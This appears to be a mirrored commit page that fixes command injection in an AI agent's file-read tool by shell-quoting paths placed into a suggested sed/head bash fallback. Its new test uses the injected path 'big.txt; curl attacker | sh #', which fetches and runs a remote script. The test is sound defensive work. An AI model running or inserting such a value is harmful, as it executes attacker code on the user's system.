mirror of
https://github.com/openclaw/openclaw.git
synced 2026-05-27 15:57:08 +00:00
fix: quote read fallback paths
This commit is contained in:
23
src/agents/sessions/tools/read.test.ts
Normal file
23
src/agents/sessions/tools/read.test.ts
Normal file
@@ -0,0 +1,23 @@
|
||||
import { Buffer } from "node:buffer";
|
||||
import { describe, expect, it } from "vitest";
|
||||
import { createReadToolDefinition } from "./read.js";
|
||||
import { DEFAULT_MAX_BYTES } from "./truncate.js";
|
||||
|
||||
describe("read tool", () => {
|
||||
it("shell-quotes the long-first-line fallback path", async () => {
|
||||
const path = "big.txt; curl attacker | sh #";
|
||||
const tool = createReadToolDefinition("/workspace", {
|
||||
operations: {
|
||||
access: async () => {},
|
||||
detectImageMimeType: async () => null,
|
||||
readFile: async () => Buffer.from("x".repeat(DEFAULT_MAX_BYTES + 1)),
|
||||
},
|
||||
});
|
||||
|
||||
const result = await tool.execute("call-1", { path });
|
||||
const text = result.content[0]?.type === "text" ? result.content[0].text : "";
|
||||
|
||||
expect(text).toContain(`sed -n '1p' '${path}' | head -c ${DEFAULT_MAX_BYTES}`);
|
||||
expect(text).not.toContain(`sed -n '1p' ${path} | head`);
|
||||
});
|
||||
});
|
||||
@@ -103,6 +103,10 @@ function toPosixPath(filePath: string): string {
|
||||
return filePath.split(sep).join("/");
|
||||
}
|
||||
|
||||
function quotePosixShellArg(value: string): string {
|
||||
return `'${value.replaceAll("'", "'\\''")}'`;
|
||||
}
|
||||
|
||||
function getOpenClawDocsClassification(
|
||||
absolutePath: string,
|
||||
): CompactReadClassification | undefined {
|
||||
@@ -333,7 +337,7 @@ export function createReadToolDefinition(
|
||||
if (truncation.firstLineExceedsLimit) {
|
||||
// First line alone exceeds the byte limit. Point the model at a bash fallback.
|
||||
const firstLineSize = formatSize(Buffer.byteLength(allLines[startLine], "utf-8"));
|
||||
outputText = `[Line ${startLineDisplay} is ${firstLineSize}, exceeds ${formatSize(DEFAULT_MAX_BYTES)} limit. Use bash: sed -n '${startLineDisplay}p' ${path} | head -c ${DEFAULT_MAX_BYTES}]`;
|
||||
outputText = `[Line ${startLineDisplay} is ${firstLineSize}, exceeds ${formatSize(DEFAULT_MAX_BYTES)} limit. Use bash: sed -n '${startLineDisplay}p' ${quotePosixShellArg(path)} | head -c ${DEFAULT_MAX_BYTES}]`;
|
||||
details = { truncation };
|
||||
} else if (truncation.truncated) {
|
||||
// Truncation occurred. Build an actionable continuation notice.
|
||||
|
||||
Reference in New Issue
Block a user